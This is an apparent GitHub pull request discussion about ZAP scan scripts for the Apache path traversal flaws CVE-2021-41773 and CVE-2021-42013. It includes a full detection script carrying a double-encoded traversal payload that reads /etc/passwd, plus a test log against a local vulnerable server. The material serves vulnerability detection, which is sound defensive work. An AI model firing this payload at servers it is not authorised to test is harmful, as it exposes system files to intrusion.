-
-
Notifications
You must be signed in to change notification settings - Fork 253
fix: cve-2021-41773-apache-path-trav.js set path escaped #253
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
- Tweak targeted script set the path as escaped so that things are further encoded making it fail. Remove undefined pluginid, use -1. - Add changelog note. Signed-off-by: kingthorin <kingthorin@users.noreply.github.com>
|
Tested against a dockerized vuln apache: |
|
Unfortunately it seems we can't do a script for CVE-2021-42013 Test Target: |
|
Set a URI that accepts/sets any path. |
|
But then it still tries to encode things, so the % get mangled, that's why I had to tweak this one. |
|
If the URI you are setting accepts anything the encode will not happen. |
|
Ok I'll have a look at the URI constructors. |
|
You need to extend it and override the |
|
Ok, that makes more sense. Thank you! |
|
I thought you were going to update the script to properly set the path. |
|
This one works as expected, the discussion was for a possible second script that needs the path set including multiple %%. |
|
Thanks for the clarification. |
|
Ref: https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html look for Java.extend |
|
I added: var URI = Java.type("org.apache.commons.httpclient.URI")
var PlainURI = Java.extend(URI, {
setPath: function(path) {
print(path);
_path = path.toCharArray();
}
});But then when I try to use it the path still isn't set properly 😢 var newUri = new PlainURI(msg.getRequestHeader().getURI().toString(), true);
newUri.setPath(attackPath);
msg.getRequestHeader().setURI(newUri);
print(newUri.toString());
print(msg.getRequestHeader().getURI().toString());[42013] Testing Script against URL - http://localhost:8080/
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
http://localhost:8080/
http://localhost:8080/
[42013] Script run completed.It doesn't seem like the assignment in PlainURI is effective. |
|
You need to call |
|
|
|
Note the case |
|
Oh crud, thank you! |
|
I wish it'd been that easy. This seems to be the only format that doesn't error but it also doesn't work: /**
* Scan rule for Apache 2.4.50 path traversal CVE-2021-42013.
*/
var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender")
var Model = Java.type("org.parosproxy.paros.model.Model")
var HistoryReference = Java.type("org.parosproxy.paros.model.HistoryReference")
var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader")
var Control = Java.type("org.parosproxy.paros.control.Control")
var ExtensionAlert = Java.type("org.zaproxy.zap.extension.alert.ExtensionAlert")
var session = Model.getSingleton().getSession();
// Print Statements using script name
function logger() {
print("[" + this["zap.script.name"] + "] " + arguments[0]);
}
/**
* A function which will be invoked against a specific "targeted" message.
*
* @param msg - the HTTP message being acted upon. This is an HttpMessage object.
*/
function invokeWith(msg) {
var url = msg.getRequestHeader().getURI().toString();
var alertName = "Apache Path Traversal - CVE-2021-42013"
var alertDesc = "[CVE-2021-42013]\nA flaw was found in a change made to path normalization in Apache HTTP Server 2.4.50. " +
"An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside " +
"of the document root are not protected by \"require all denied\" these requests can succeed. Additionally this flaw could " +
"leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only " +
"affects Apache 2.4.49 and 2.4.50, but not earlier versions."
var alertSol = "Upgrade to Apache 2.4.51 or newer."
var alertReference = "https://httpd.apache.org/security/vulnerabilities_24.html\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-42013"
var cweId = 22; // Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
var wascId = 33; // Path Traversal
var attackPath = "/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd";
// To check if script is running
logger("Testing Script against URL - " + url);
// msg.getRequestHeader().getURI().setRawPath(attackPath);
var newUri = new PlainURI(msg.getRequestHeader().getURI().toString(), true);
newUri.setPath(attackPath);
Java.super(newUri).setURI();
msg.getRequestHeader().setURI(newUri);
print(newUri.toString());
print(msg.getRequestHeader().getURI().toString());
var connectionParams = Model.getSingleton().getOptionsParam().getConnectionParam();
var sender = new HttpSender(connectionParams, true, 6);
sender.sendAndReceive(msg);
var status = msg.getResponseHeader().getStatusCode();
var rebody = msg.getResponseBody().toString();
var re = /root\:x\:0\:0\:root/g
// Checks to make sure that the response indicates the test was successful
if (status === 200 && re.test(rebody)) {
re.lastIndex = 0
var alertEvidence = re.exec(rebody);
customAlert(
3, // risk: 0: info, 1: low, 2: medium, 3: high
3, // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed
alertName,
alertDesc,
attackPath,
alertEvidence,
alertSol,
alertReference,
cweId,
wascId,
msg,
url
);
};
logger("Script run completed.");
}
/**
* Raise an alert.
* @see https://www.javadoc.io/doc/org.zaproxy/zap/latest/org/parosproxy/paros/core/scanner/Alert.html
*/
function customAlert(alertRisk, alertConfidence, alertName, alertDesc, alertAttack, alertEvidence, alertSol, alertReference, cweId, wascId, msg, url) {
var extensionAlert = Control.getSingleton().getExtensionLoader().getExtension(ExtensionAlert.NAME);
var ref = new HistoryReference(session, HistoryReference.TYPE_ZAP_USER, msg);
var alert = new org.parosproxy.paros.core.scanner.Alert(-1, alertRisk, alertConfidence, alertName);
alert.setDescription(alertDesc);
alert.setAttack(alertAttack);
alert.setEvidence(alertEvidence);
alert.setSolution(alertSol);
alert.setReference(alertReference);
alert.setCweId(cweId);
alert.setWascId(wascId);
alert.setMessage(msg);
alert.setUri(url);
extensionAlert.alertFound(alert, ref);
}
var URI = Java.type("org.apache.commons.httpclient.URI")
var PlainURI = Java.extend(URI, {
setPath: function(path) {
print(path);
_path = path.toCharArray();
}
});Also tried:
|
|
You need to call it inside the |
|
Ya that was the last four bullets |
|
It's able to call |
|
Well I tried 🤷♂️ |
|
Groovy or Kotlin should not have that limitation. |
|
I'll try one of those tonight. If I can get another PR in then great. Either way we should release this tomorrow. |
Signed-off-by: kingthorin kingthorin@users.noreply.github.com